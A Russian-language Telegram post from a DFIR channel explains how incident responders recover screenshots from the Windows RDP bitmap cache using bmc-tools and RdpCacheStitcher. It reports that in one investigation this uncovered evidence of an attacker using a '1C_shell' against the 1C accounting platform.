Самым терпеливым и любопытным может помочь связка инструментов для работы с кэшем RDP (который, как известно, хранится в Windows по адресу C:\Users\%Username%\AppData\Local\Microsoft\Terminal Server Client\Cache), состоящая из парсера кэша bmc-tools и инструмента для «склеивания» фрагментов изображения RdpCacheStitcher.

Поскольку кэш RDP представляет собой набор фрагментов размером максимум 64×64 пикселя, а количество фрагментов составляет обычно несколько тысяч для одного файла кэша, работа по восстановлению и поиску интересных фрагментов достаточно кропотливая, но иногда приносит неожиданные результаты.

Практика показывает, что однозначной закономерности в расположении отдельных фрагментов внутри кэша нет, но, как правило, соседние фрагменты могут располагаться в пределах окна в 20–30 последовательных изображений. Тем не менее полностью автоматизировать «склеивание» этих пазлов — задача нетривиальная.

🔎 Итак, что же любопытного можно обнаружить внутри подобного кэша?

1. Следы внезапно проснувшегося интереса пользователя к разного рода сомнительным инструментам (скриншоты 1, 2);

2. Следы запуска подозрительных файлов с еще более подозрительными параметрами (скриншот 3);

3. Выполнение до боли знакомых команд, которые, казалось бы, простой бухгалтер выполнять не должен (скриншот 4);

4. Нечто крайне подозрительное, интересное (скриншот 5).

При обнаружении такого рода данных следует внимательно изучить соседние фрагменты — там, как правило, можно обнаружить какое-то развитие наметившейся идеи (скриншоты 6, 7, 8).

Вот тут уже возникает повод серьезно задуматься и после раздумий, сопровождаемых поиском следующих фрагментов изображения, прийти к выводам. В данном случае в ходе расследования было обнаружено и подтверждено использование своеобразного шелла 1C_shell для «1С».

Несмотря на то, что механизмы работы подобных «внешних обработок» системы «1С» были уже давно описаны в материале «Взломать за 60 секунд!» и докладе «„1С“ глазами пентестера», а все соответствующие рекомендации сформулированы, схема продолжает работать и по сей день.

#ir #dfir #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM